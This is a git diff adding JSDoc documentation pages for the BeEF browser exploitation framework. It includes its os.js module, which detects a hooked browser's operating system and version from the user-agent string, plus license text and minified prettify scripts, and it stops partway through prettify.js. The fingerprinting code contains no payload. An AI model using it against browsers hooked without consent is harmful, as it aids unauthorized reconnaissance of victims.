+ + + + + diff --git a/docs/os.js.html b/docs/os.js.html new file mode 100644 index 000000000..829ced701 --- /dev/null +++ b/docs/os.js.html @@ -0,0 +1,412 @@ + + + + + JSDoc: Source: os.js + + + + + + + + + + +
+ +

Source: os.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/** @namespace beef.os */
+
+beef.os = {
+
+	ua: navigator.userAgent,
+
+	/**
+	  * Detect default browser (IE only)
+	  * Written by unsticky
+	  * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
+	  * @return {string}
+	  */
+	getDefaultBrowser: function() {
+		var result = "Unknown"
+		try {
+			var mt = document.mimeType;
+			if (mt) {
+				if (mt == "Safari Document")       result = "Safari";
+				if (mt == "Firefox HTML Document") result = "Firefox";
+				if (mt == "Chrome HTML Document")  result = "Chrome";
+				if (mt == "HTML Document")         result = "Internet Explorer";
+				if (mt == "Opera Web Document")    result = "Opera";
+			}
+		} catch (e) {
+			beef.debug("[os] getDefaultBrowser: "+e.message);
+		}
+		return result;
+	},
+	
+	// the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
+	/**
+	 * @return {boolean}
+	 */
+	isWin311: function() {
+		return (this.ua.match('(Win16)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinNT4: function() {
+		return (this.ua.match('(Windows NT 4.0)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin95: function() {
+		return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinCE: function() {
+		return (this.ua.match('(Windows CE)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin98: function() {
+		return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinME: function() {
+		return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin2000: function() {
+		return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin2000SP1: function() {
+		return (this.ua.match('Windows NT 5.01 ')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinXP: function() {
+		return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinServer2003: function() {
+		return (this.ua.match('(Windows NT 5.2)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinVista: function() {
+		return (this.ua.match('(Windows NT 6.0)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin7: function() {
+		return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin8: function() {
+		return (this.ua.match('(Windows NT 6.2)')) ? true : false;
+	},	
+	/**
+	 * @return {boolean}
+	 */
+	isWin81: function() {
+		return (this.ua.match('(Windows NT 6.3)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin10: function() {
+		return (this.ua.match('Windows NT 10.0')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isOpenBSD: function() {
+		return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isSunOS: function() {
+		return (this.ua.indexOf('SunOS') != -1) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isLinux: function() {
+		return (this.ua.match('(Linux)|(X11)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isMacintosh: function() {
+		return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isOsxYosemite: function(){ // TODO
+		return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isOsxMavericks: function(){ // TODO
+		return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isOsxSnowLeopard: function(){ // TODO
+		return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isOsxLeopard: function(){ // TODO
+		return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinPhone: function() {
+		return (this.ua.match('(Windows Phone)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isIphone: function() {
+		return (this.ua.indexOf('iPhone') != -1) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isIpad: function() {
+		return (this.ua.indexOf('iPad') != -1) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isIpod: function() {
+		return (this.ua.indexOf('iPod') != -1) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isNokia: function() {
+		return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isAndroid: function() {
+		return (this.ua.match('Android')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isBlackBerry: function() {
+		return (this.ua.match('BlackBerry')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWebOS: function() {
+		return (this.ua.match('webOS')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isQNX: function() {
+		return (this.ua.match('QNX')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isBeOS: function() {
+		return (this.ua.match('BeOS')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isAros: function() {
+			return (this.ua.match('AROS')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWindows: function() {
+		return (this.ua.match('Windows')) ? true : false;
+	},
+	/**
+	 * @return {string}
+	 */
+	getName: function() {
+		
+		if(this.isWindows()){
+			return 'Windows';
+		}
+
+		if(this.isMacintosh()) {
+			return 'OSX';
+		}
+
+		//Nokia
+		if(this.isNokia()) {
+			if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
+			if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
+			if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
+		}
+
+		// BlackBerry
+		if(this.isBlackBerry()) return 'BlackBerry OS';
+
+		// Android
+		if(this.isAndroid()) return 'Android';
+
+		// SunOS
+		if(this.isSunOS()) return 'SunOS';
+
+		//Linux
+		if(this.isLinux()) return 'Linux';
+
+		//iPhone
+		if (this.isIphone()) return 'iOS';
+		//iPad
+		if (this.isIpad()) return 'iOS';
+		//iPod
+		if (this.isIpod()) return 'iOS';
+		
+		//others
+		if(this.isQNX()) return 'QNX';
+		if(this.isBeOS()) return 'BeOS';
+		if(this.isWebOS()) return 'webOS';
+		if(this.isAros()) return 'AROS';
+		
+		return 'unknown';
+	},
+
+  /**
+    * Get OS architecture.
+    * This may not be the same as the browser arch or CPU arch.
+    * ie, 32bit OS on 64bit hardware
+    */
+  getArch: function() {
+    var arch = 'unknown';
+    try {
+      var arch = platform.os.architecture;
+      if (!!arch)
+        return arch;
+    } catch (e) {}
+
+    return arch;
+  },
+
+  /**
+    * Get OS family
+    */
+  getFamily: function() {
+    var family = 'unknown';
+    try {
+      var family = platform.os.family;
+      if (!!family)
+        return family;
+    } catch (e) {}
+
+    return arch;
+  },
+
+  /**
+    * Get OS name
+	* @return {string}
+    */
+	getVersion: function(){
+		//Windows
+		if(this.isWindows()) {
+			if (this.isWin10())         return '10';
+			if (this.isWin81())         return '8.1';
+			if (this.isWin8())          return '8';
+			if (this.isWin7())          return '7';
+			if (this.isWinVista())      return 'Vista';
+			if (this.isWinXP())         return 'XP';
+			if (this.isWinServer2003()) return 'Server 2003';
+			if (this.isWin2000SP1())    return '2000 SP1';
+			if (this.isWin2000())       return '2000';
+			if (this.isWinME())         return 'Millenium';
+
+			if (this.isWinNT4())        return 'NT 4';
+			if (this.isWinCE())         return 'CE';
+			if (this.isWin95())         return '95';
+			if (this.isWin98())         return '98';
+		}
+
+		// OS X
+		if(this.isMacintosh()) {
+			if (this.isOsxYosemite())        return '10.10';
+			if (this.isOsxMavericks())       return '10.9';
+			if (this.isOsxSnowLeopard())     return '10.8';
+			if (this.isOsxLeopard())         return '10.7';
+		}
+
+		// TODO add Android/iOS version detection
+	}
+};
+
+beef.regCmp('beef.net.os');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/platform.html b/docs/platform.html new file mode 100644 index 000000000..812a5538d --- /dev/null +++ b/docs/platform.html @@ -0,0 +1,1147 @@ + + + + + JSDoc: Namespace: platform + + + + + + + + + + +
+ +

Namespace: platform

+ + + + + + +
+ +
+ +

platform

+ + +
+ +
+
+ + +

Platform.js +Copyright 2014-2018 Benjamin Tan +Copyright 2011-2013 John-David Dalton +Available under MIT license

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + +

Members

+ + + +

(static) description :string|null

+ + + + +
+

The platform description.

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) layout :string|null

+ + + + +
+

The name of the browser's layout engine.

+

The list of common layout engines include: +"Blink", "EdgeHTML", "Gecko", "Trident" and "WebKit"

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) manufacturer :string|null

+ + + + +
+

The name of the product's manufacturer.

+

The list of manufacturers include: +"Apple", "Archos", "Amazon", "Asus", "Barnes & Noble", "BlackBerry", +"Google", "HP", "HTC", "LG", "Microsoft", "Motorola", "Nintendo", +"Nokia", "Samsung" and "Sony"

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) name :string|null

+ + + + +
+

The name of the browser/environment.

+

The list of common browser names include: +"Chrome", "Electron", "Firefox", "Firefox for iOS", "IE", +"Microsoft Edge", "PhantomJS", "Safari", "SeaMonkey", "Silk", +"Opera Mini" and "Opera"

+

Mobile versions of some browsers have "Mobile" appended to their name: +eg. "Chrome Mobile", "Firefox Mobile", "IE Mobile" and "Opera Mobile"

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) os :Object

+ + + + +
+

The name of the operating system.

+
+ + + +
Type:
+
    +
  • + +Object + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) platform :Object

+ + + + +
+

The platform object.

+
+ + + +
Type:
+
    +
  • + +Object + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) prerelease :string|null

+ + + + +
+

The alpha/beta release indicator.

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) product :string|null

+ + + + +
+

The name of the product hosting the browser.

+

The list of common products include:

+

"BlackBerry", "Galaxy S4", "Lumia", "iPad", "iPod", "iPhone", "Kindle", +"Kindle Fire", "Nexus", "Nook", "PlayBook", "TouchPad" and "Transformer"

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) toString

+ + + + +
+

Returns platform.description when the platform object is coerced to a string.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) ua :string|null

+ + + + +
+

The browser's user agent string.

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) version :string|null

+ + + + +
+

The browser/environment version.

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + +

Methods

+ + + + + + + +

(static) parse(uaopt) → {Object}

+ + + + + + +
+

Creates a new platform object.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDefaultDescription
ua + + +Object +| + +string + + + + + + <optional>
+ + + + + +
+ + navigator.userAgent + +

The user agent string or +context object.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

A platform object.

+
+ + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/scripts/linenumber.js b/docs/scripts/linenumber.js new file mode 100644 index 000000000..4354785ce --- /dev/null +++ b/docs/scripts/linenumber.js @@ -0,0 +1,25 @@ +/*global document */ +(() => { + const source = document.getElementsByClassName('prettyprint source linenums'); + let i = 0; + let lineNumber = 0; + let lineId; + let lines; + let totalLines; + let anchorHash; + + if (source && source[0]) { + anchorHash = document.location.hash.substring(1); + lines = source[0].getElementsByTagName('li'); + totalLines = lines.length; + + for (; i < totalLines; i++) { + lineNumber++; + lineId = `line${lineNumber}`; + lines[i].id = lineId; + if (lineId === anchorHash) { + lines[i].className += ' selected'; + } + } + } +})(); diff --git a/docs/scripts/prettify/Apache-License-2.0.txt b/docs/scripts/prettify/Apache-License-2.0.txt new file mode 100644 index 000000000..d64569567 --- /dev/null +++ b/docs/scripts/prettify/Apache-License-2.0.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/docs/scripts/prettify/lang-css.js b/docs/scripts/prettify/lang-css.js new file mode 100644 index 000000000..041e1f590 --- /dev/null +++ b/docs/scripts/prettify/lang-css.js @@ -0,0 +1,2 @@ +PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\f\r ]+/,null," \t\r\n "]],[["str",/^"(?:[^\n\f\r"\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*"/,null],["str",/^'(?:[^\n\f\r'\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*'/,null],["lang-css-str",/^url\(([^"')]*)\)/i],["kwd",/^(?:url|rgb|!important|@import|@page|@media|@charset|inherit)(?=[^\w-]|$)/i,null],["lang-css-kw",/^(-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*)\s*:/i],["com",/^\/\*[^*]*\*+(?:[^*/][^*]*\*+)*\//],["com", +/^(?:<\!--|--\>)/],["lit",/^(?:\d+|\d*\.\d+)(?:%|[a-z]+)?/i],["lit",/^#[\da-f]{3,6}/i],["pln",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i],["pun",/^[^\s\w"']+/]]),["css"]);PR.registerLangHandler(PR.createSimpleLexer([],[["kwd",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i]]),["css-kw"]);PR.registerLangHandler(PR.createSimpleLexer([],[["str",/^[^"')]+/]]),["css-str"]); diff --git a/docs/scripts/prettify/prettify.js b/docs/scripts/prettify/prettify.js new file mode 100644 index 000000000..eef5ad7e6 --- /dev/null +++ b/docs/scripts/prettify/prettify.js @@ -0,0 +1,28 @@ +var q=null;window.PR_SHOULD_USE_CONTINUATION=!0; +(function(){function L(a){function m(a){var f=a.charCodeAt(0);if(f!==92)return f;var b=a.charAt(1);return(f=r[b])?f:"0"<=b&&b<="7"?parseInt(a.substring(1),8):b==="u"||b==="x"?parseInt(a.substring(2),16):a.charCodeAt(1)}function e(a){if(a<32)return(a<16?"\\x0":"\\x")+a.toString(16);a=String.fromCharCode(a);if(a==="\\"||a==="-"||a==="["||a==="]")a="\\"+a;return a}function h(a){for(var f=a.substring(1,a.length-1).match(/\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\[0-3][0-7]{0,2}|\\[0-7]{1,2}|\\[\S\s]|[^\\]/g),a= +[],b=[],o=f[0]==="^",c=o?1:0,i=f.length;c122||(d<65||j>90||b.push([Math.max(65,j)|32,Math.min(d,90)|32]),d<97||j>122||b.push([Math.max(97,j)&-33,Math.min(d,122)&-33]))}}b.sort(function(a,f){return a[0]-f[0]||f[1]-a[1]});f=[];j=[NaN,NaN];for(c=0;ci[0]&&(i[1]+1>i[0]&&b.push("-"),b.push(e(i[1])));b.push("]");return b.join("")}function y(a){for(var f=a.source.match(/\[(?:[^\\\]]|\\[\S\s])*]|\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\\d+|\\[^\dux]|\(\?[!:=]|[()^]|[^()[\\^]+/g),b=f.length,d=[],c=0,i=0;c=2&&a==="["?f[c]=h(j):a!=="\\"&&(f[c]=j.replace(/[A-Za-z]/g,function(a){a=a.charCodeAt(0);return"["+String.fromCharCode(a&-33,a|32)+"]"}));return f.join("")}for(var t=0,s=!1,l=!1,p=0,d=a.length;p=5&&"lang-"===b.substring(0,5))&&!(o&&typeof o[1]==="string"))c=!1,b="src";c||(r[f]=b)}i=d;d+=f.length;if(c){c=o[1];var j=f.indexOf(c),k=j+c.length;o[2]&&(k=f.length-o[2].length,j=k-c.length);b=b.substring(5);B(l+i,f.substring(0,j),e,p);B(l+i+j,c,C(b,c),p);B(l+i+k,f.substring(k),e,p)}else p.push(l+i,b)}a.e=p}var h={},y;(function(){for(var e=a.concat(m), +l=[],p={},d=0,g=e.length;d=0;)h[n.charAt(k)]=r;r=r[1];n=""+r;p.hasOwnProperty(n)||(l.push(r),p[n]=q)}l.push(/[\S\s]/);y=L(l)})();var t=m.length;return e}function u(a){var m=[],e=[];a.tripleQuotedStrings?m.push(["str",/^(?:'''(?:[^'\\]|\\[\S\s]|''?(?=[^']))*(?:'''|$)|"""(?:[^"\\]|\\[\S\s]|""?(?=[^"]))*(?:"""|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$))/,q,"'\""]):a.multiLineStrings?m.push(["str",/^(?:'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$)|`(?:[^\\`]|\\[\S\s])*(?:`|$))/, +q,"'\"`"]):m.push(["str",/^(?:'(?:[^\n\r'\\]|\\.)*(?:'|$)|"(?:[^\n\r"\\]|\\.)*(?:"|$))/,q,"\"'"]);a.verbatimStrings&&e.push(["str",/^@"(?:[^"]|"")*(?:"|$)/,q]);var h=a.hashComments;h&&(a.cStyleComments?(h>1?m.push(["com",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,q,"#"]):m.push(["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\n\r]*)/,q,"#"]),e.push(["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,q])):m.push(["com",/^#[^\n\r]*/, +q,"#"]));a.cStyleComments&&(e.push(["com",/^\/\/[^\n\r]*/,q]),e.push(["com",/^\/\*[\S\s]*?(?:\*\/|$)/,q]));a.regexLiterals&&e.push(["lang-regex",/^(?:^^\.?|[!+-]|!=|!==|#|%|%=|&|&&|&&=|&=|\(|\*|\*=|\+=|,|-=|->|\/|\/=|:|::|;|<|<<|<<=|<=|=|==|===|>|>=|>>|>>=|>>>|>>>=|[?@[^]|\^=|\^\^|\^\^=|{|\||\|=|\|\||\|\|=|~|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\s*(\/(?=[^*/])(?:[^/[\\]|\\[\S\s]|\[(?:[^\\\]]|\\[\S\s])*(?:]|$))+\/)/]);(h=a.types)&&e.push(["typ",h]);a=(""+a.keywords).replace(/^ | $/g, +"");a.length&&e.push(["kwd",RegExp("^(?:"+a.replace(/[\s,]+/g,"|")+")\\b"),q]);m.push(["pln",/^\s+/,q," \r\n\t\xa0"]);e.push(["lit",/^@[$_a-z][\w$@]*/i,q],["typ",/^(?:[@_]?[A-Z]+[a-z][\w$@]*|\w+_t\b)/,q],["pln",/^[$_a-z][\w$@]*/i,q],["lit",/^(?:0x[\da-f]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+-]?\d+)?)[a-z]*/i,q,"0123456789"],["pln",/^\\[\S\s]?/,q],["pun",/^.[^\s\w"-$'./@\\`]*/,q]);return x(m,e)}function D(a,m){function e(a){switch(a.nodeType){case 1:if(k.test(a.className))break;if("BR"===a.nodeName)h(a), +a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)e(a);break;case 3:case 4:if(p){var b=a.nodeValue,d=b.match(t);if(d){var c=b.substring(0,d.index);a.nodeValue=c;(b=b.substring(d.index+d[0].length))&&a.parentNode.insertBefore(s.createTextNode(b),a.nextSibling);h(a);c||a.parentNode.removeChild(a)}}}}function h(a){function b(a,d){var e=d?a.cloneNode(!1):a,f=a.parentNode;if(f){var f=b(f,1),g=a.nextSibling;f.appendChild(e);for(var h=g;h;h=g)g=h.nextSibling,f.appendChild(h)}return e} +for(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var a=b(a.nextSibling,0),e;(e=a.parentNode)&&e.nodeType===1;)a=e;d.push(a)}var k=/(?:^|\s)nocode(?:\s|$)/,t=/\r\n?|\n/,s=a.ownerDocument,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=s.defaultView.getComputedStyle(a,q).getPropertyValue("white-space"));var p=l&&"pre"===l.substring(0,3);for(l=s.createElement("LI");a.firstChild;)l.appendChild(a.firstChild);for(var d=[l],g=0;g=0;){var h=m[e];A.hasOwnProperty(h)?window.console&&console.warn("cannot 